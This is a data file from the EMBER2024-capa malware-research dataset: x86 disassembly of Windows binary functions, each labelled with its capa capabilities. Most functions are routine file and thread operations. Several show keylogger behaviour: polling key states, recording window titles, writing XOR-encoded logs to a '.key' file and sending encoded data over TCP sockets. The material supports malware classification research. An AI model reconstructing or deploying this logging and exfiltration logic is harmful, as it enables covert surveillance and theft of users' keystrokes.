joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48cda0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov edx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [edx]
movsx ebx, byte [eax]
movsx eax, byte [eax + 1]
cmp ebx, 0x3f
mov dword [ebp - 4], eax
jg 0x48d061
test ebx, ebx
jl 0x48d061
movsx edi, byte [ebx*2 + 0x4da9c0]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
test edi, edi
mov dword [esi + 8], ebx
mov dword [ebp - 8], edi
mov dword [ecx], eax
jne 0x48cdec
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp edi, 0xfffffffd
jne 0x48ce66
push 0x22b
push 0x595f9c
push 2
push 0xc0000008
call fcn.00485960
mov ecx, dword [ebp + 0x14]
add esp, 0x10
cmp ebx, 0x1c
mov dword [esi + 0xc], edi
jl 0x48ce24
cmp ebx, 0x2c
jg 0x48ce24
mov eax, edi
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0xc], eax
mov edx, dword [ebp - 4]
lea eax, [edx - 1]
cmp eax, 9
ja 0x48d061
jmp dword [eax*4 + 0x48d070]
cmp edi, 0xfffffffc
jne 0x48ce0d
cmp ebx, 0x3c
jne 0x48ce8f
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [esi + 4], ecx
mov edi, dword [eax]
add edi, 4
mov ecx, edi
mov dword [eax], edi
mov ecx, dword [ecx]
mov dword [esi + 0xc], ecx
mov ecx, dword [eax]
add ecx, 4
mov dword [eax], ecx
mov eax, dword [edx]
pop edi
add eax, 2
pop esi
mov dword [edx], eax
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esi - 0x57]
pushfd

Function at 0x48f940
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x5988e8]
push ebx
push esi
xor esi, esi
test eax, eax
push edi
je 0x48fa08
mov eax, dword [ebp + 0x20]
cmp eax, 1
je 0x48f98a
cmp eax, 2
je 0x48f98a
mov edi, dword [ebp + 0x18]
test edi, edi
je 0x48f978
cmp eax, 0xfffffffa
jne 0x48f978
mov ebx, dword [ebp + 8]
mov esi, 1
jmp 0x48f995
test eax, eax
jne 0x48f992
mov esi, 1
call fcn.004b5820
mov ebx, eax
jmp 0x48f995
pop edi
pop esi
or eax, 0xffffffff
pop ebx
pop ebp
ret
mov ebx, dword [ebp + 0xc]
mov eax, dword [0x5988e8]
test eax, eax
je 0x48f9b8
test edi, edi
je 0x48f9b8
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x48f9b8
push ebx
call fcn.004b5610
push ebx
call fcn.004bb420
add esp, 8
test esi, esi
je 0x48fa08
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push ebx
push eax
push ecx
call int.004be860
mov edi, dword [ebp + 0x14]
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
mov dword [edi], esi
jne 0x48f9e0
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
push 0
push ebx
push 2
push 0x596058
call fcn.004bee70
mov edx, dword [ebp + 0xc]
add esp, 0x10
mov byte [esi + edx], 0xa
mov eax, dword [edi]
inc eax
mov dword [edi], eax
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
lea eax, [ebp + 0x20]
push 0
push eax
mov eax, dword [ebp + 8]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x20]
pop edi
pop esi
mov dword [ecx], edx
pop ebx
pop ebp
ret
Function at 0x4a6e1e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x597148
cmp edx, dword [eax]
je 0x4a6e40
add eax, 8
inc ecx
cmp eax, 0x5971d8
jl 0x4a6e31
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x597148]
jne 0x4a6f6e
mov eax, dword [0x5b2c74]
cmp eax, 1
je 0x4a6f48
test eax, eax
jne 0x4a6e71
cmp dword [0x59656c], 1
je 0x4a6f48
cmp edx, 0xfc
je 0x4a6f6e
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4a6ea8
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004aba00
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004a8c10
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4a6eeb
lea eax, [ebp - 0x1a4]
push eax
call fcn.004a8c10
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4dc91c
push edi
call fcn.004a41a0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004aba00
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004aba10
lea eax, [ebp - 0xa0]
push 0x4dc8fc
push eax
call fcn.004aba10
push dword [esi + 0x59714c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004aba10
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004ad736
add esp, 0x2c
pop edi
jmp 0x4a6f6e
lea eax, [ebp + 8]
lea esi, [esi + 0x59714c]
push 0
push eax
push dword [esi]
call fcn.004a8c10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x4a8ff8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4a9018
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004a4ed1
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4a903b
test byte [esp + 8], 2
je 0x4a903b
call fcn.004a4f44
mov dword [eax], 0xd
call fcn.004a4f4d
mov dword [eax], 5
jmp 0x4a9014
xor eax, eax
ret
Function at 0x4c0d80
Capabilities:
Get thread local storage value
Log keystrokes
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x5b30dc]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
push edi
jne 0x4c0da8
push 0x18
call fcn.004a4e45
add esp, 4
mov dword [0x5b30dc], eax
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, eax
cmp edi, ebx
jne 0x4c0dd1
push 0x670
push 0x5999c8
push 5
call fcn.004bfc20
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x598e68]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
jne 0x4c0f01
mov ecx, dword [0x5b30dc]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x598e74]
cmp edi, eax
je 0x4c0e6c
push 1
push eax
push edi
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [0x598e78]
cmp eax, ebx
jne 0x4c0e24
push 8
call fcn.004a4e45
mov esi, eax
add esp, 4
mov dword [esi], 1
jmp 0x4c0e3b
mov edx, dword [eax]
lea ecx, [edx*4 + 8]
push ecx
push eax
call fcn.004a57be
mov esi, eax
add esp, 8
inc dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [ebp - 4]
push ebx
push ebx
lea edx, [ebp - 4]
push 2
push edx
push eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov edx, dword [esi]
mov eax, dword [ebp - 4]
mov dword [esi + edx*4], eax
mov dword [0x598e78], esi
push 0x20
call fcn.004a4e45
mov esi, eax
add esp, 4
cmp esi, ebx
jne 0x4c0e99
push 0x6b9
push 0x5999ec
push 4
call fcn.004bfc20
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x598e68]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x4c0ece
push 0x6c0
push 0x599a10
push 5
call fcn.004bfc20
push esi
call fcn.004a4dfd
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push esi
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi], 0x400
call fcn.004b5720
mov edx, dword [0x5b30dc]
add esp, 8
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4c1400
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x598e78]
push esi
test eax, eax
push edi
je 0x4c145b
mov ecx, dword [0x598efc]
mov esi, 0x44d
cmp ecx, esi
jle 0x4c143a
mov edi, dword [sym.imp.USER32.dll_EnableMenuItem]
mov eax, dword [0x598dd8]
push 1
push esi
push eax
call edi
mov eax, dword [0x598efc]
inc esi
cmp esi, eax
jl 0x4c1420
mov eax, dword [0x598e78]
mov ecx, dword [eax]
mov esi, 1
cmp ecx, esi
jl 0x4c145b
mov edi, dword [sym.imp.KERNEL32.dll_SuspendThread]
mov ecx, dword [eax + esi*4]
push ecx
call edi
mov eax, dword [0x598e78]
inc esi
cmp esi, dword [eax]
jle 0x4c144b
pop edi
pop esi
ret
Function at 0x4c1460
Capabilities:
Resume thread

Disassembly:
mov eax, dword [0x598e78]
push esi
test eax, eax
push edi
je 0x4c14bb
mov ecx, dword [0x598efc]
mov esi, 0x44d
cmp ecx, esi
jle 0x4c149a
mov edi, dword [sym.imp.USER32.dll_EnableMenuItem]
mov eax, dword [0x598dd8]
push 0
push esi
push eax
call edi
mov eax, dword [0x598efc]
inc esi
cmp esi, eax
jl 0x4c1480
mov eax, dword [0x598e78]
mov ecx, dword [eax]
mov esi, 1
cmp ecx, esi
jl 0x4c14bb
mov edi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [eax + esi*4]
push ecx
call edi
mov eax, dword [0x598e78]
inc esi
cmp esi, dword [eax]
jle 0x4c14ab
pop edi
pop esi
ret
Function at 0x4c8900
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push edi
xor ebx, ebx
push 0x10
mov dword [ebp - 4], ebx
mov edi, 1
call esi
test ah, 0x80
je 0x4c8922
mov ebx, edi
push 0x11
call esi
test ah, 0x80
mov ecx, 1
jne 0x4c8933
mov ecx, dword [ebp - 4]
cmp ebx, 1
je 0x4c893d
cmp ecx, 1
jne 0x4c893f
xor edi, edi
mov eax, dword [ebp + 8]
cmp al, 0x7a
je 0x4c8a10
cmp al, 0x7b
je 0x4c8a10
cmp al, 0x70
jb 0x4c89a3
cmp al, 0x79
ja 0x4c89a3
cmp edi, 1
jne 0x4c8971
sub eax, 0x35
pop edi
and eax, 0xff
pop esi
or ah, 0xe0
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 1
jne 0x4c8988
sub eax, 0x1c
pop edi
and eax, 0xff
pop esi
or ah, 0xe0
pop ebx
mov esp, ebp
pop ebp
ret
cmp ecx, 1
jne 0x4c8a46
sub eax, 0x12
pop edi
and eax, 0xff
pop esi
or ah, 0xe0
pop ebx
mov esp, ebp
pop ebp
ret
cmp al, 0x21
jb 0x4c8a4e
cmp al, 0x28
ja 0x4c8a4e
cmp edi, 1
jne 0x4c89d2
dec eax
pop edi
and eax, 7
pop esi
pop ebx
mov eax, dword [eax*4 + str.IQOGKHMP]
and eax, 0xff
or ah, 0xf0
mov esp, ebp
pop ebp
ret
cmp ebx, 1
jne 0x4c89f1
dec eax
pop edi
and eax, 7
pop esi
pop ebx
mov eax, dword [eax*4 + str.IQOGKHMP]
and eax, 0xff
or ah, 0xf0
mov esp, ebp
pop ebp
ret
cmp ecx, 1
jne 0x4c8a01
dec eax
and eax, 7
mov eax, dword [eax*4 + 0x59a040]
and eax, 0xff
pop edi
pop esi
or ah, 0xf0
pop ebx
mov esp, ebp
pop ebp
ret
cmp edi, 1
jne 0x4c8a27
add eax, 0xb
pop edi
and eax, 0xff
pop esi
or ah, 0xe0
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 1
jne 0x4c8a3e
add eax, 0xd
pop edi
and eax, 0xff
pop esi
or ah, 0xe0
pop ebx
mov esp, ebp
pop ebp
ret
cmp ecx, 1
jne 0x4c8a46
add eax, 0xf
and eax, 0xff
or ah, 0xe0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c8d00
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push edi
push 0x10
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], 1
call esi
and eax, 0x8000
cmp eax, 0x8000
jne 0x4c8d2d
mov ebx, 1
push 0x11
call esi
and eax, 0x8000
cmp eax, 0x8000
jne 0x4c8d42
mov edi, 1
cmp ebx, 1
je 0x4c8d4c
cmp edi, 1
jne 0x4c8d53
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x154]
test eax, eax
je 0x4c8da8
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
push edi
push ebx
push ecx
push esi
push eax
mov dword [esi + 0x158], eax
call fcn.004c8c60
add esp, 0x14
test eax, eax
je 0x4c8e0d
xor edx, edx
mov dword [esi + 0x154], 0
mov dl, byte [esi + 0x158]
or dh, 0xe0
mov dword [esi + 0x158], edx
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004bb690
cmp eax, 1
je 0x4c8e0d
mov eax, dword [esi + 0x1e4]
test eax, eax
je 0x4c8e0d
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
push edi
push ebx
push ecx
push esi
push eax
mov dword [esi + 0x158], eax
call fcn.004c8c60
add esp, 0x14
test eax, eax
je 0x4c8e0d
mov edx, dword [esi + 0x1e4]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
xor eax, eax
mov dword [esi + 0x154], 0
mov al, byte [esi + 0x158]
or ah, 0xe0
mov dword [esi + 0x158], eax
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4cbb80
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x84], 2
jne 0x4cbbd2
mov ecx, dword [sym.imp.GDI32.dll_SetPixelV]
mov eax, 1
mov dword [0x5b3128], eax
mov dword [0x5b3124], eax
mov dword [0x5b30d0], 0
mov dword [0x5b30d4], ecx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x8c]
mov edx, dword [sym.imp.GDI32.dll_SetPixel]
mov eax, 1
cmp ecx, 0xa
mov dword [0x5b3124], 0
mov dword [0x5b30d0], eax
mov dword [0x5b30d4], edx
jae 0x4cbc06
mov dword [0x5b312c], eax
mov esp, ebp
pop ebp
ret
mov dword [0x5b3130], eax
mov esp, ebp
pop ebp
ret

Function at 0x4d29c9
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
test eax, eax
jle 0x4d2a16
push ebx
push edi
lea edi, [esi + 8]
mov ebx, eax
mov eax, dword [esi + 4]
push 3
shr eax, 0xb
and eax, 7
push eax
push edi
call fcn.004d2b1f
mov eax, dword [esi + 4]
add esp, 0xc
mov ecx, eax
and cx, 0xf800
add ecx, 0x800
xor ecx, eax
and ecx, 0x3800
xor ecx, eax
dec ebx
mov dword [esi + 4], ecx
jne 0x4d29dd
pop edi
pop ebx
pop esi
ret
jge 0x4d2a43
mov ecx, dword [esi + 4]
push 0
mov eax, ecx
add esi, 8
and ax, 0xf800
dec eax
xor eax, ecx
and eax, 0x3800
xor eax, ecx
mov dword [esi - 4], eax
shr eax, 0xb
and eax, 7
push eax
push esi
call fcn.004d2b1f
add esp, 0xc
pop esi
ret
Function at 0x403a97
Capabilities:
Set file attributes

Disassembly:
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne al
ret

Function at 0x403c23
Capabilities:
Create directory

Disassembly:
mov eax, 0x4280e8
call fcn.004272c0
sub esp, 0x38
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x403c46
mov al, 1
jmp 0x403c8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403c57
xor al, al
jmp 0x403c8b
lea ecx, [ebp - 0x44]
call fcn.0040406d
lea ecx, [ebp - 0x1c]
call fcn.004025a5
push esi
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
call fcn.0040409f
test al, al
je 0x403c80
mov ebx, dword [ebp - 0x24]
shr ebx, 4
and bl, 1
push dword [ebp - 0x1c]
call fcn.004020c6
pop ecx
mov al, bl
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x404090
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40409e
or eax, eax
ret

Function at 0x404655
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40467b
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40467b
xor al, al
jmp 0x40469b
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.004275c0
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4
Function at 0x100013b0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x1000f07a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 8]
call fcn.10001000
lea ecx, [esi + 0x18]
mov dword [esp + 0x1a0], 0
call fcn.10001000
lea ecx, [esi + 0x28]
mov byte [esp + 0x1a0], 1
call fcn.10001000
lea ecx, [esi + 0x38]
mov byte [esp + 0x1a0], 2
call fcn.10001000
lea eax, [esp + 8]
mov dword [esi], 0x100104e0
push eax
push 0x202
mov byte [esi + 4], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x68
mov byte [esp + 5], 0x78
mov dx, word [esp + 4]
lea ecx, [esi + 0x54]
mov dword [esi + 0x50], eax
mov al, 0x20
mov word [ecx], dx
mov byte [esi + 0x57], 0
mov dword [esi + 0x4c], 0xffffffff
mov byte [ecx + 2], al
mov ecx, dword [esp + 0x198]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret

Function at 0x10001550
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x24
push esi
push edi
mov esi, ecx
call fcn.100019b0
mov eax, dword [esi + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0x57], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x4c], eax
jne 0x10001588
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x100015a3
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov edx, dword [esp + 0x34]
mov word [esp + 0x1c], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x20]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0x4c]
push ecx
mov dword [esp + 0x2c], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100015e5
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov eax, dword [esi + 0x4c]
lea edx, [esp + 8]
push 4
push edx
push 8
push 0xffff
push eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001640
push eax
lea ecx, [esp + 0x10]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0x4c]
lea edx, [esp + 0x24]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 0x2bf20
mov dword [esp + 0x3c], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10001670
push 0
push 0
mov byte [esi + 0x57], 1
call fcn.100087d0
add esp, 0x1c
mov dword [esi + 0x48], eax
mov al, 1
pop edi
pop esi
add esp, 0x24
ret 8

Function at 0x10001b80
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10001ba0
mov dl, byte [ecx + eax]
xor dl, 0xfc
add dl, 0x31
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x10001b8f
pop esi
ret
Function at 0x10001bb0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push ebx
mov ebp, ecx
push edi
call fcn.10001b80
mov esi, dword [esp + 0x24]
mov eax, ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0x14], 0
jb 0x10001c23
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0x4c]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001c02
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x10001be2
cmp dword [esp + 0x1c], 0xf
je 0x10001c56
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x10001bda
test ebx, ebx
jle 0x10001c4a
xor esi, esi
mov ecx, dword [ebp + 0x4c]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001c41
inc esi
cmp esi, 0xf
jl 0x10001c29
cmp esi, 0xf
je 0x10001c56
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x10001c59
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x100024e0
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x18]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str.Default
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 2
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x28]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
push 0
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100025c2
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x11c]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x100025f1
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x100025e5
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10002620
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x100174e0
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x100174e0
push eax
mov dword [0x100178e0], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x100174dc]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x100178e0]
cmp eax, ecx
je 0x1000271b
push 0x100174e0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x1000270f
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x100174e0
lea edx, [esp + 0x34]
push 0x10015994
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.100024e0
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x100174e0
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x100178e0]
mov dword [0x100174dc], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret